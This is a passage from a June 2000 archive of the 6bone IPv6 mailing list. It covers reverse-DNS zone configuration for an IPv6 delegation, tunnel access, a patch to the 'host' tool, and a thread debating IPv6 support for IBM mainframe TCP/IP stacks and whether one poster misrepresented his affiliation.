6TO4(::131.107.65.121).WHEN I HAVE FINISHED ALL THE COMMAND ,I TYPE=20
</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>&quot; PING6 =
::131.107.65.121&quot;</FONT></DIV>
<DIV><FONT face=3DTahoma size=3D2>THE RESULT IS,TOO MUCH &quot;REQUEST =
TIMMED=20
OUT&quot; AND SHOW REPLY ONCE IN A WHILE,HOWEVER,IF I TYPE &quot;PING=20
131.107.65.121&quot; ,THE RESULT IS =
NORMAL.WHY?</FONT></DIV></BODY></HTML>

------=_NextPart_000_0028_01BFCFED.2C2E64E0--


From 6bone-owner  Tue Jun  6 14:53:36 2000
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Date: Wed, 07 Jun 2000 00:55:21 +0300
From: Radu Malica <thejoker@infostream.ro>
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Hello
I need help if you can do this you are the greatest. I have
2001:600:4:80cf::0/64 delegation w/ reverse DNS. I read the FAQ on ipv6
dns like thousands times and tried like 20 examples...Nothing seems to
be working so my reverse works for this class. Can you help me ?

Radu

From 6bone-owner  Tue Jun  6 23:57:19 2000
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On Wed, 7 Jun 2000, Radu Malica wrote:

> Hello
> I need help if you can do this you are the greatest. I have
> 2001:600:4:80cf::0/64 delegation w/ reverse DNS. I read the FAQ on ipv6
> dns like thousands times and tried like 20 examples...Nothing seems to
> be working so my reverse works for this class. Can you help me ?
Well only if you give details of what you've tried so far!

Pete.

> 
> Radu
> 


From 6bone-owner  Wed Jun  7 02:25:52 2000
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Date: Wed, 07 Jun 2000 11:25:50 +0200
From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: thejoker@infostream.ro
CC: 6bone@ISI.EDU, woeber@cc.univie.ac.at
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>Date: Wed, 07 Jun 2000 00:55:21 +0300
>From: Radu Malica <thejoker@infostream.ro>
>To: 6bone@ISI.EDU
>Subject: reverse ipv6
>
>Hello
>I need help if you can do this you are the greatest. I have
>2001:600:4:80cf::0/64 delegation w/ reverse DNS. I read the FAQ on ipv6
>dns like thousands times and tried like 20 examples...Nothing seems to
>be working so my reverse works for this class. Can you help me ?
>
>Radu

  Feel free to have a look at
  
http://noc.aco.net/ipv6/extern/IPv6-LAN-NIG.html

  and the "Implementation Status: DNS" in particular.

  This stuff is a snapshot for bind 9 beta 2.
  We started to work on beta 3 already, so things might change in due
  course :-)
  
  Wilfried.
 _________________________________:_____________________________________
  Wilfried Woeber                 : e-mail: Woeber@CC.UniVie.ac.at
  UniVie Computer Center - ACOnet : Tel: +43 1 4277 - 140 33
  Universitaetsstrasse 7          : Fax: +43 1 4277 - 9 140
  A-1010 Vienna, Austria, Europe  : RIPE-DB: WW144, PGP keyID 0xF0ACB369
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 6bone-owner  Wed Jun  7 03:15:45 2000
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From: "Victor Marques" <victor@ua.pt>
To: <6bone@ISI.EDU>, <sun-ipv6-users@sunroof.eng.sun.com>,
        <msripv6-users@list.research.microsoft.com>
References: <002b01bfcfaa$1edc3080$b45d77ca@608proxy.nt608>
Subject: Multicast/Unicast Routing in IPv6
Date: Wed, 7 Jun 2000 11:20:29 +0100
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Hi all.

First of all, sorry to those that receive more than one copy of this
message.

I'm trying to find out more about Multicast and Anycast Routing in IPv6 and
it seems that there is not much. Can anybody give me some pointers, such as
sites to look, experiments, documents, applications using these features,
etc... anything at all.

Thanks a lot,
Victor



From 6bone-owner  Wed Jun  7 04:50:17 2000
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Date: Wed, 07 Jun 2000 14:51:16 +0300
From: Radu Malica <thejoker@infostream.ro>
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--------------A0117794FD5E2F91D6CF4B74
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Here are 2 files the named.conf entry and the zone file itself. I tried
to do it like in the FAQ at 6bone.net

Radu
--------------A0117794FD5E2F91D6CF4B74
Content-Type: text/plain; charset=us-ascii;
 name="2001:600.rev"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="2001:600.rev"

@		IN	SOA	box.infostream.ro.	root.infostream.ro. (
				3047124
				3H
				15M
				1W
				1D)
		IN	NS	ns.infostream.ro.
		IN	NS	box.infostream.ro.
1		IN	PTR	UUnet-ipv6-gw.ipv6.infostream.ro.
2		IN	PTR	UUnet-infostream.ipv6.infostream.ro.
3		IN	PTR	home.ipv6.infostream.ro.
4		IN	PTR	home-gw.ipv6.infostream.ro.
 
--------------A0117794FD5E2F91D6CF4B74
Content-Type: text/plain; charset=us-ascii;
 name="named.conf"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="named.conf"

// generated by named-bootconf.pl

options {
	directory "/var/named";
	/*
	 * If there is a firewall between you and nameservers you want
	 * to talk to, you might need to uncomment the query-source
	 * directive below.  Previous versions of BIND always asked
	 * questions using port 53, but BIND 8.1 uses an unprivileged
	 * port by default.
	 */
	 query-source address * port 53;
};

// 
// a caching only nameserver config
// 
zone "." {
	type hint;
	file "named.ca";
};

zone "0.0.127.in-addr.arpa" {
	type master;
	file "named.local";
};
zone "45.168.192.in-addr.arpa" {
       type master;
       file "45.rev";
};


zone "infostream.ro" {
      type master;
      file "infostream.zone";
      allow-query { any; };
      allow-transfer { 212.35.143.68; 212.35.143.65; 192.162.16.31; 192.162.16.21; 193.230.1/24; 212.212.180.111; 212.35.143.64/26; };
      };

zone "LaoMa.info-stream.org" {
      type master;
      file "laoma.zone";
      allow-query { 194.119.238.162 ;127.0.0.1; 194.119.232.3; 194.119.232.2; 212.35.143.65; 194.134.0.67; 194.134.0.12; 212.35.143.68; 207.172.3.20; 206.138.112.20; 207.172.3.21; 207.172.3.22; };     
      allow-transfer { none; };
};
 
zone "64/26.143.35.212.in-addr.arpa" {
      type master;
      allow-query { any; };
      allow-transfer { 212.35.143.68; 212.35.143.65; 192.16.16.21; 192.162.16.31; 193.230.1/24; };
      file "infostream.rev";
      };
zone "128/25.75.102.194.in-addr.arpa" {
      type master;
      allow-query { any; };
      file "75.rev";
};

zone "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.int" {
                type master;
                file "localhost.ipv6";
};
zone "ipv6.infostream.ro" {
       type master;
       file "ipv6.zone";
};
zone "f.c.0.8.4.0.0.0.0.0.6.0.1.0.0.2.ip6.int" {
      type master;
      file "2001:600.rev";
};
      
zone "info-stream.org" {
      type master;
      allow-query { any; };
      allow-transfer { 212.35.143.65; 193.230.1/24; 212.212.180.111; 212.35.143.64/26; };
      file "infostream.org";
      };      
zone "if-net.org" {
      type master;
      file "ifnet.zone";
      allow-query { any; };
      allow-transfer { any; };
      };
--------------A0117794FD5E2F91D6CF4B74--


From 6bone-owner  Wed Jun  7 08:18:42 2000
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To: Radu Malica <thejoker@infostream.ro>
cc: 6bone@ISI.EDU
Subject: Re: Details
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Ah.
You have:
zone "f.c.0.8.4.0.0.0.0.0.6.0.1.0.0.2.ip6.int"

and in the file (presumably 2001:600.rev) things like
1               IN      PTR     UUnet-ipv6-gw.ipv6.infostream.ro.

which only adds one `nibble' to f.c.0.8.4.0.0.0.0.0.6.0.1.0.0.2 which
is 15 nibbles short of 128 bits. far too short.  You need 
$ORIGIN 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0
1               IN      PTR     UUnet-ipv6-gw.ipv6.infostream.ro.
2               IN      PTR     UUnet-infostream.ipv6.infostream.ro.
etc.
to bring each address up to the right number of bits.  You can't leave any
out in reverse addressing.

Pete.



From 6bone-owner  Fri Jun  9 18:09:08 2000
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From: Aaron Angel <aangel@haknich.ugc.net>
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To: 6bone@ISI.EDU
Subject: 6bone Registery: The ipv6-site object
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What is the 'origin' field in the ipv6-site object used for?

-- 
Aaron Angel <aangel@haknich.ugc.net>
Voicemail/FAX: +1 (520) 447-2283
UNIX Talk: aangel@haknich.ugc.net


From 6bone-owner  Sun Jun 11 20:06:07 2000
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Date: Sun, 11 Jun 2000 23:05:44 -0400 (EDT)
From: Aaron Angel <aangel@haknich.ugc.net>
To: 6bone@ISI.EDU
Subject: User ipv6 addresses/tunnels
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How do I go about finding a place to support a 'user' connection to the
6bone?  Every place I've tried so far have said they only provide
support for educational institutes, government, or members of certain
groups...

Thanks

-- 
Aaron Angel <aangel@haknich.ugc.net>
Voicemail/FAX: +1 (520) 447-2283
UNIX Talk: aangel@haknich.ugc.net


From 6bone-owner  Sun Jun 11 21:14:34 2000
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To: Aaron Angel <aangel@haknich.ugc.net>
From: Bob Fink <fink@es.net>
Subject: Re: User ipv6 addresses/tunnels
Cc: 6BONE List <6bone@ISI.EDU>
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At 11:05 PM 6/11/2000 -0400, you wrote:
>How do I go about finding a place to support a 'user' connection to the
>6bone?  Every place I've tried so far have said they only provide
>support for educational institutes, government, or members of certain
>groups...

Try the tunnel server at <http://www.freenet6.net/>


Bob


From 6bone-owner  Mon Jun 12 08:45:21 2000
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Date: Mon, 12 Jun 2000 11:45:25 EDT
Subject: Question about the future
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Hello everyone,

    I am the director of development for one of the IBM Mainframe TCP/IP 
stacks.  Up to this point we have not implemented IP version 6, and none of 
our customers have even asked us for this support.  I guess, I'm wondering if 
this support will still be necessary.  So I thought I would solicit opinions.

John Rankin

From 6bone-owner  Tue Jun 13 01:11:50 2000
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From: Peter Bunclark <psb@ast.cam.ac.uk>
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Subject: Re: Question about the future
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Are you expecting IBM Mainframes to be able to communicate to the billions
of next-generation phones, TVs, refrigeraters etc etc that can't possibly
fit into IPv4 address space and which will need IPv6's QOS, encryption,
flow control and so on?

Pete.

On Mon, 12 Jun 2000 JohnRankin@aol.com wrote:

> Hello everyone,
> 
>     I am the director of development for one of the IBM Mainframe TCP/IP 
> stacks.  Up to this point we have not implemented IP version 6, and none of 
> our customers have even asked us for this support.  I guess, I'm wondering if 
> this support will still be necessary.  So I thought I would solicit opinions.
> 
> John Rankin
> 


From 6bone-owner  Tue Jun 13 05:28:27 2000
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From: "Andreas 'Count' Kotes" <count@flatline.de>
To: Peter Bunclark <psb@ast.cam.ac.uk>
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Subject: Re: Question about the future
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Hi!

> On Mon, 12 Jun 2000 JohnRankin@aol.com wrote:
> >     I am the director of development for one of the IBM Mainframe TCP/IP 
> > stacks.  Up to this point we have not implemented IP version 6, and none of 
> > our customers have even asked us for this support.  I guess, I'm wondering if 
> > this support will still be necessary.  So I thought I would solicit opinions.

On Tue, 13 Jun 2000, Peter Bunclark wrote:
> Are you expecting IBM Mainframes to be able to communicate to the billions
> of next-generation phones, TVs, refrigeraters etc etc that can't possibly
> fit into IPv4 address space and which will need IPv6's QOS, encryption,
> flow control and so on?

well, with IBM more and more moving towards Linux and Open Source one has
at least the option to use an operating system capable of IPv6 :)

besides that, IPv6 is inevitable. Maybe not in the next 2 years, but
definitely in 10 or even 5. (don't bug me if its getting 20 years - then
the transition group really fucked it up)

   Count

-- 
Andreas 'Count' Kotes - IT specialist, consultant and developer - Contact me.
mailto:count@flatline.de - mailto:count@linux.de - mailto:count@convergence.de
Your only limit is the hardware, as long as you've got access to the source...
-= Commercial use of my email addresses NOT allowed. OpenPGP key available. =-


From 6bone-owner  Tue Jun 13 06:43:50 2000
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From: "James Saker Jr." <jsaker@pensat.com>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: FW: Question about the future (of mainframes?)
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John -- Are these things still alive out there? I thought they tore the last
ones out before Y2K! (kidding)

Actually, I'd have to guess some of your customers are telecom companies
that use the systems for billing applications. One of the primary drivers
for us with reference to IPv6 has been the ability of our operational
support systems (OSS) to be able to interact, manage, mediate and track the
anticipated large base of IPv6 devices. 3G mobile devices (phones, pdas,
pagers, etc.), for example, will be difficult to manage at best without the
back-end OSS infrastructure to support it.

Understanding how data intensive telecom mediation and billing can be, I'd
have to expect that some of your customers are in our category. If they're
not asking you for IPv6 support which will be mandatory for these OSS
systems, I'd be finding out why. I'd have to expect that the absence of any
interest is more a reflection of a replacement approach rather than
disinterest in the protocol.

JRS

James R. Saker Jr.
jsaker@pensat.com



On Mon, 12 Jun 2000 JohnRankin@aol.com wrote:

> Hello everyone,
> 
>     I am the director of development for one of the IBM Mainframe TCP/IP 
> stacks.  Up to this point we have not implemented IP version 6, and none
of 
> our customers have even asked us for this support.  I guess, I'm wondering
if 
> this support will still be necessary.  So I thought I would solicit
opinions.
> 
> John Rankin
> 

From 6bone-owner  Tue Jun 13 06:48:32 2000
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To: "'Peter Bunclark'" <psb@ast.cam.ac.uk>
Cc: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: RE: Question about the future
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Given the lack of addressing space, it is a matter of time, is'nt it?

-----Original Message-----
From: Peter Bunclark [mailto:psb@ast.cam.ac.uk]
Sent: Tuesday, June 13, 2000 4:12 AM
To: JohnRankin@aol.com
Cc: 6bone@ISI.EDU
Subject: Re: Question about the future


Are you expecting IBM Mainframes to be able to communicate to the billions
of next-generation phones, TVs, refrigeraters etc etc that can't possibly
fit into IPv4 address space and which will need IPv6's QOS, encryption,
flow control and so on?

Pete.

On Mon, 12 Jun 2000 JohnRankin@aol.com wrote:

> Hello everyone,
> 
>     I am the director of development for one of the IBM Mainframe TCP/IP 
> stacks.  Up to this point we have not implemented IP version 6, and none
of 
> our customers have even asked us for this support.  I guess, I'm wondering
if 
> this support will still be necessary.  So I thought I would solicit
opinions.
> 
> John Rankin
> 

From 6bone-owner  Tue Jun 13 07:08:54 2000
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Date: Tue, 13 Jun 2000 14:52:48 +0100
Subject: Re: Question about the future
To: Peter Bunclark <psb@ast.cam.ac.uk>
Cc: JohnRankin@aol.com, 6bone@ISI.EDU
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Memo from Hasan Ali of PricewaterhouseCoopers

-------------------- Start of message text --------------------

No, but IBM mainframes have been around for  a very long time - many as you know
- still in production and (like e.g. OpenVMS systems) there are some on the
(public) Internet.  Be worthwhile for them to have an IPV6 stack available...

...Although how long has IPV4 been available for IBM mainframes?  Six years?
SNA  gateways - needed until fairly recently I seem to recall..  (Do you
remember them - huge damn cables connected directly to the IBM boxes...)

The number of relieved mainframes guys - "look you don't need to retire us - we
can talk to the rest of the network, honest!!"

Do you know how many of these things are still out there?!  Also how many in
active production (the back end of all sorts of web sites...)

(Might throw in a line about how robust this "legacy" technology is...  But will
assume that's known...)

Regards,

Hasan





Peter Bunclark <psb@ast.cam.ac.uk> on 13/06/2000 09:12:24
To:   JohnRankin@aol.com
cc:   6bone@ISI.EDU


Subject:  Re: Question about the future



Are you expecting IBM Mainframes to be able to communicate to the billions
of next-generation phones, TVs, refrigeraters etc etc that can't possibly
fit into IPv4 address space and which will need IPv6's QOS, encryption,
flow control and so on?

Pete.

On Mon, 12 Jun 2000 JohnRankin@aol.com wrote:

> Hello everyone,
>
>     I am the director of development for one of the IBM Mainframe TCP/IP
> stacks.  Up to this point we have not implemented IP version 6, and none of
> our customers have even asked us for this support.  I guess, I'm wondering if
> this support will still be necessary.  So I thought I would solicit opinions.
>
> John Rankin
>



--------------------- End of message text --------------------

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From 6bone-owner  Tue Jun 13 07:33:19 2000
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Date: Tue, 13 Jun 2000 10:33:18 EDT
Subject: Re: FW: Question about the future (of mainframes?)
To: jsaker@pensat.com, 6bone@ISI.EDU
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In a message dated 6/13/2000 9:49:37 AM Eastern Daylight Time, 
jsaker@pensat.com writes:

> John -- Are these things still alive out there? I thought they tore the last
>  ones out before Y2K! (kidding)
>  
>  Actually, I'd have to guess some of your customers are telecom companies
>  that use the systems for billing applications. One of the primary drivers
>  for us with reference to IPv6 has been the ability of our operational
>  support systems (OSS) to be able to interact, manage, mediate and track the
>  anticipated large base of IPv6 devices. 3G mobile devices (phones, pdas,
>  pagers, etc.), for example, will be difficult to manage at best without the
>  back-end OSS infrastructure to support it.
>  
>  Understanding how data intensive telecom mediation and billing can be, I'd
>  have to expect that some of your customers are in our category. If they're
>  not asking you for IPv6 support which will be mandatory for these OSS
>  systems, I'd be finding out why. I'd have to expect that the absence of any
>  interest is more a reflection of a replacement approach rather than
>  disinterest in the protocol.
>  
>  JRS
>  
>  James R. Saker Jr.

    This is a very interesting point.  The segment of the industry that we 
service is the classic big iron traditional mainframe site.  In general there 
are about 5-9% of our mainframe customers that leave the platform each year, 
however, it is wrong to assume that the mainframe industry is not still 
thriving and attempting to move into the modern world.  At this point TCP/IP 
is the fastest growing product introduced to our segment in about 20 years.  
I personally have never seen anything like it.  Since the mainframe is a 
large server within the environment, it is hard to estimate how many personal 
workstations are using our software, but conservatively its around 3-4 
million, and growing about 700,000 per year.  I do not find these number to 
be embarrassing, and they clearly show that mainframe shops have a commitment 
to TCP/IP.

    I only that the time to point out some of these things, because most of 
the comments I have received include the idea that the mainframe is dead or 
dying.  This is far from the truth.  The mainframe environments that remain 
are serious data processing people, with real world concerns and interests.

    Now, I do find it interesting that we have not had more questions about 
mobile computing devices.  It is quite possible that there is very little 
mainframe software geared towards these types of devices and therein lays the 
lack of interest.  But e-business is the most recent major movement within 
the IBM world, and I find it hard to envision true e-business without mobile 
computing.

    John Rankin

From 6bone-owner  Tue Jun 13 07:43:11 2000
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From: "Brown, James" <JBrown@thrupoint.net>
To: "'Peter Bunclark '" <psb@ast.cam.ac.uk>,
        "'JohnRankin@aol.com '"
	 <JohnRankin@aol.com>
Cc: "'6bone@ISI.EDU '" <6bone@ISI.EDU>
Subject: RE: Question about the future
Date: Tue, 13 Jun 2000 10:37:46 -0400
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Another question to ask is:

"Do you wish the IBM mainframe to be able 
to communicate with Microsoft IPv6 platforms,
Cisco, 3Com, Bay, Lucent, [insert favorite vendor here]
networks in the 1-10 year future?"

These URLs will help get you started...

www.ipv6forum.org
www.stardust.com
www.6bone.net

jpb
===




-----Original Message-----
From: Peter Bunclark
To: JohnRankin@aol.com
Cc: 6bone@ISI.EDU
Sent: 6/13/00 4:12 AM
Subject: Re: Question about the future

Are you expecting IBM Mainframes to be able to communicate to the
billions
of next-generation phones, TVs, refrigeraters etc etc that can't
possibly
fit into IPv4 address space and which will need IPv6's QOS, encryption,
flow control and so on?

Pete.

On Mon, 12 Jun 2000 JohnRankin@aol.com wrote:

> Hello everyone,
> 
>     I am the director of development for one of the IBM Mainframe
TCP/IP 
> stacks.  Up to this point we have not implemented IP version 6, and
none of 
> our customers have even asked us for this support.  I guess, I'm
wondering if 
> this support will still be necessary.  So I thought I would solicit
opinions.
> 
> John Rankin
> 

From 6bone-owner  Tue Jun 13 07:55:11 2000
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From: atanas argirov <aa@pure.boza.org>
To: JohnRankin@aol.com
cc: 6bone@ISI.EDU
Subject: Re: Question about the future
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On Mon, 12 Jun 2000 JohnRankin@aol.com wrote:

> Hello everyone,
> 
>     I am the director of development for one of the IBM Mainframe TCP/IP 
> stacks.  Up to this point we have not implemented IP version 6, and none of 
> our customers have even asked us for this support.  I guess, I'm wondering if 
> this support will still be necessary.  So I thought I would solicit opinions.
> 
> John Rankin

For such profitable business as mainframes, IBM has to be in a hurry to
implement ipv6 stack ASAP. Otherwise it will be one more minus for
IBM. I'm really wondering that nobody of IBM customers asked for ipv6
support yet? 

But, even to be the first one: Yes, we, like mainframe customers of IBM
and company which is paying enough money for licensing on monthly basis,
we demand IPv6 stack in OS/390. On which release it will be available: R9?   


Cheers,
atanas argirov


From 6bone-owner  Tue Jun 13 07:56:18 2000
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Subject: Re: Question about the future
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Hi Peter,

On Tue, 13 Jun 2000, Peter Bunclark wrote:

> Are you expecting IBM Mainframes to be able to communicate to the billions
> of next-generation phones, TVs, refrigeraters etc etc that can't possibly
> fit into IPv4 address space and which will need IPv6's QOS, encryption,
> flow control and so on?

I believe, problems will start with a more widespread use of TCP/IP
instead of SNA on mainframes. With Enterprise extender replacing the old
SNI networks, more and more companies will have to connect their internal
networks with TCP/IP and use NAT and DNS translations (which has other
impacts like the need to rewrite layer 7 information in some cases).

> On Mon, 12 Jun 2000 JohnRankin@aol.com wrote:
> 
> > Hello everyone,
> > 
> >     I am the director of development for one of the IBM Mainframe TCP/IP 
> > stacks.  Up to this point we have not implemented IP version 6, and none of 
> > our customers have even asked us for this support.  I guess, I'm wondering if 
> > this support will still be necessary.  So I thought I would solicit opinions.

Strange... I know at least one client (a german bank) who did ask...

Cheers,
Jochen


From 6bone-owner  Tue Jun 13 08:23:28 2000
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Date: Tue, 13 Jun 2000 10:21:23 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
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Subject: Re: Question about the future
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The attached message was apparently NOT sent by anyone from IBM - 
in fact we have no idea who sent it - it does not in any way represent 
IBM's views. As a matter of fact IBM has already made an IPv6 download 
available for IBM mainframes, and we released IPv6 for the AIX operating 
system in 1997. So please ignore the message and the alleged sender.

Regards

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Brian E Carpenter 
Program Director, Internet Standards & Technology, IBM 
On assignment for IBM at http://www.iCAIR.org 
Attend INET 2000: http://www.isoc.org/inet2000
Non-IBM email: brian@icair.org

JohnRankin@aol.com wrote:
> 
> Hello everyone,
> 
>     I am the director of development for one of the IBM Mainframe TCP/IP
> stacks.  Up to this point we have not implemented IP version 6, and none of
> our customers have even asked us for this support.  I guess, I'm wondering if
> this support will still be necessary.  So I thought I would solicit opinions.
> 
> John Rankin

From 6bone-owner  Tue Jun 13 09:19:45 2000
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Date: Tue, 13 Jun 2000 17:57:37 +0200
To: Peter Bunclark <psb@ast.cam.ac.uk>, JohnRankin@aol.com
From: Latif LADID <Latif.LADID@village.uunet.lu>
Subject: Re: Question about the future
Cc: 6bone@ISI.EDU
In-Reply-To: <Pine.GSO.4.10.10006130910240.7416-100000@cass18>
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IBM has some of the best experts in-house on this subject!!!!!!!

Ask Brian, copied above!

/Latif


At 09:12 13/06/00 +0100, Peter Bunclark wrote:
>Are you expecting IBM Mainframes to be able to communicate to the billions
>of next-generation phones, TVs, refrigeraters etc etc that can't possibly
>fit into IPv4 address space and which will need IPv6's QOS, encryption,
>flow control and so on?
>
>Pete.
>
>On Mon, 12 Jun 2000 JohnRankin@aol.com wrote:
>
> > Hello everyone,
> > 
> >     I am the director of development for one of the IBM Mainframe TCP/IP 
> > stacks.  Up to this point we have not implemented IP version 6, and none of 
> > our customers have even asked us for this support.  I guess, I'm wondering if 
> > this support will still be necessary.  So I thought I would solicit opinions.
> > 
> > John Rankin
> > 



From 6bone-owner  Tue Jun 13 09:33:30 2000
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To: Brian E Carpenter <brian@hursley.ibm.com>
Cc: 6bone@ISI.EDU
Subject: Re: Question about the future 
In-reply-to: Your message of "Tue, 13 Jun 2000 10:21:23 CDT."
             <39465173.A647C47C@hursley.ibm.com> 
Date: Tue, 13 Jun 2000 12:33:29 -0400
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Brian,

I think we should track down the author of this mail and make a federal
case out of it?  This is unacceptable to IBM or any company.  I am
appalled by such behavior.

That mail could have leaked to a critical account situation in the IBM
field and had a negative impact on IBM.  I consider such bogus mail
criminal.  And it should be dealt with as such.

regards,
/jim

From 6bone-owner  Tue Jun 13 11:56:53 2000
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Subject: Re: Question about the future
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Are there 3rd party stacks for IBM 'frames?

Nowhere does he claim to be from IBM, so it could as easily be a 3rd-party 
vendor...

D

At 10:21 AM 6/13/00 -0500, Brian E Carpenter wrote:
>The attached message was apparently NOT sent by anyone from IBM -
>in fact we have no idea who sent it - it does not in any way represent
>IBM's views. As a matter of fact IBM has already made an IPv6 download
>available for IBM mainframes, and we released IPv6 for the AIX operating
>system in 1997. So please ignore the message and the alleged sender.
>
>Regards
>
>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>Brian E Carpenter
>Program Director, Internet Standards & Technology, IBM
>On assignment for IBM at http://www.iCAIR.org
>Attend INET 2000: http://www.isoc.org/inet2000
>Non-IBM email: brian@icair.org
>
>JohnRankin@aol.com wrote:
> >
> > Hello everyone,
> >
> >     I am the director of development for one of the IBM Mainframe TCP/IP
> > stacks.  Up to this point we have not implemented IP version 6, and none of
> > our customers have even asked us for this support.  I guess, I'm 
> wondering if
> > this support will still be necessary.  So I thought I would solicit 
> opinions.
> >
> > John Rankin


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Date: Tue, 13 Jun 2000 15:18:47 EDT
Subject: Re: Question about the future (of mainframes?) 
To: narten@raleigh.ibm.com, 6bone@ISI.EDU
CC: kopkind@us.ibm.com, brian@icair.org
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Gentlemen,

    There seems to be a bit of confusion about who or what I represent, so I 
thought I would take a moment to explain.

    I am the director of development for Connectivity Systems Incorporated.  
We are not IBM, nor do I work or speak for IBM.  However, we do develop and 
maintain the TCP/IP stack for the IBM VSE environment.  This stack is sold by 
IBM as if it was their own, and therefore we at Connectivity Systems work 
very closely with IBM.  

    Furthermore, IBM is a very large and extensive company, with several 
operating systems running on the system 390 platform.  IBM does develop 
directly, a TCP/IP stack for VM and OS/390, and I personally have no 
information about what efforts are underway within IBM with regard to these 
platforms.

    If this has caused any confusion then I truly apologize.

John Rankin
Director of Development
Connectivity Systems Inc.

From 6bone-owner  Tue Jun 13 16:44:08 2000
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Date: Wed, 14 Jun 2000 01:36:52 +0200
To: Jim Bound <bound@zk3.dec.com>, Brian E Carpenter <brian@hursley.ibm.com>
From: Latif LADID <Latif.LADID@village.uunet.lu>
Subject: Re: Question about the future 
Cc: 6bone@ISI.EDU
In-Reply-To: <200006131633.MAA0000009573@yquarry.zk3.dec.com>
References: <Your message of "Tue, 13 Jun 2000 10:21:23 CDT." <39465173.A647C47C@hursley.ibm.com>
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I would just ask the gentleman to officially apologize to the audience he has mislead
into an IBM internal issue. Identifying himself and his company should be the minimum!

That would at least restore some ethical/professional behavior in the 6bone mailing list!

This email is from Seoul, so if the gentleman expressed himself then disregard this email 

/Latif

At 12:33 13/06/00 -0400, Jim Bound wrote:
>Brian,
>
>I think we should track down the author of this mail and make a federal
>case out of it?  This is unacceptable to IBM or any company.  I am
>appalled by such behavior.
>
>That mail could have leaked to a critical account situation in the IBM
>field and had a negative impact on IBM.  I consider such bogus mail
>criminal.  And it should be dealt with as such.
>
>regards,
>/jim



From 6bone-owner  Tue Jun 13 17:07:04 2000
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Date: 	Wed, 14 Jun 2000 02:06:08 +0200
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: e07@nikhef.nl
Cc: 6bone-pl@sunsite.icm.edu.pl, 6bone@ISI.EDU, bind-suggest@isc.org
Subject: host_991531 patch to recognize IPv6 addresses
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I have extended host recognized syntax to IPv6 addresses. With the patch host
will transform any of e.g.
3ffe:8010::
3ffe:8010::1
3ffe:8010::/28
3ffe:8010:2::/28
3ffe:8010:2
3ffe:8010/28
into appropriate ip6.int domain and return the answer:
# host -t ns 3ffe:8010/28
1.0.8.E.F.F.3.ip6.int   NS      ns.isi.edu
1.0.8.E.F.F.3.ip6.int   NS      6bone-gw.6bone.pl
1.0.8.E.F.F.3.ip6.int   NS      ns.shadow.eu.org

The patch:
ftp://ftp.6bone.pl/pub/ipv6/set-glibc-2.1.new/host_991529+.diff

R.
PS. I wish bind would include your version of host.
-- 
Ale kto by my³ rêce po przywitaniu siê z mê¿em? - A. Fedorczyk

From 6bone-owner  Tue Jun 13 22:32:22 2000
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Date: Wed, 14 Jun 2000 01:32:47 -0400 (EDT)
From: Aaron Angel <aangel@haknich.ugc.net>
To: Latif LADID <Latif.LADID@village.uunet.lu>
cc: 6bone@ISI.EDU
Subject: Re: Question about the future 
In-Reply-To: <4.2.0.58.20000614012452.00b87210@j.pop.uunet.lu>
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For the 'record', I'd like to point out he mislead no one.  He stated
quite
clearly in the first sentect he was a director of delevelopment for one of
the TCP/IP stacks for IBM mainframes; he did not say he was directly from
IBM.

-- 
Aaron Angel <aangel@haknich.ugc.net>
Voicemail/FAX: +1 (520) 447-2283
UNIX Talk: aangel@haknich.ugc.net

On Wed, 14 Jun 2000, Latif LADID wrote:

> I would just ask the gentleman to officially apologize to the audience he has mislead
> into an IBM internal issue. Identifying himself and his company should be the minimum!
> 
> That would at least restore some ethical/professional behavior in the 6bone mailing list!
> 
> This email is from Seoul, so if the gentleman expressed himself then disregard this email 
> 
> /Latif
> 
> At 12:33 13/06/00 -0400, Jim Bound wrote:
> >Brian,
> >
> >I think we should track down the author of this mail and make a federal
> >case out of it?  This is unacceptable to IBM or any company.  I am
> >appalled by such behavior.
> >
> >That mail could have leaked to a critical account situation in the IBM
> >field and had a negative impact on IBM.  I consider such bogus mail
> >criminal.  And it should be dealt with as such.
> >
> >regards,
> >/jim
> 
> 
> 


From 6bone-owner  Wed Jun 14 02:04:50 2000
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Subject: Re: Question about the future 
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On Wed, 14 Jun 2000, Aaron Angel wrote:

> For the 'record', I'd like to point out he mislead no one.  He stated
> quite
> clearly in the first sentect he was a director of delevelopment for one of
> the TCP/IP stacks for IBM mainframes; he did not say he was directly from
> IBM.
> 
> -- 
> Aaron Angel <aangel@haknich.ugc.net>

On the contrary, he mislead many of us by very poor use of language. The
most misleading part was, he should have asked IBM first before this
mailing list; the wording implied very strongly, and now we know
incorrectly, that IBM weren't yet developing IPv6.  And I think we might
be forgiven for assuming that the `director of development for one of the
TCP/IP stacks for IBM mainframes' probably did work for IBM.

Peter.


From 6bone-owner  Wed Jun 14 06:10:19 2000
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Date: Wed, 14 Jun 2000 09:09:49 EDT
Subject: Re: Question about the future 
To: psb@ast.cam.ac.uk
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In a message dated 6/14/2000 5:13:08 AM Eastern Daylight Time, 
psb@ast.cam.ac.uk writes:

> On Wed, 14 Jun 2000, Aaron Angel wrote:
>  
>  > For the 'record', I'd like to point out he mislead no one.  He stated
>  > quite
>  > clearly in the first sentect he was a director of delevelopment for one 
of
>  > the TCP/IP stacks for IBM mainframes; he did not say he was directly from
>  > IBM.
>  > 
>  > -- 
>  > Aaron Angel <aangel@haknich.ugc.net>
>  
>  On the contrary, he mislead many of us by very poor use of language. The
>  most misleading part was, he should have asked IBM first before this
>  mailing list; the wording implied very strongly, and now we know
>  incorrectly, that IBM weren't yet developing IPv6.  And I think we might
>  be forgiven for assuming that the `director of development for one of the
>  TCP/IP stacks for IBM mainframes' probably did work for IBM.
>  
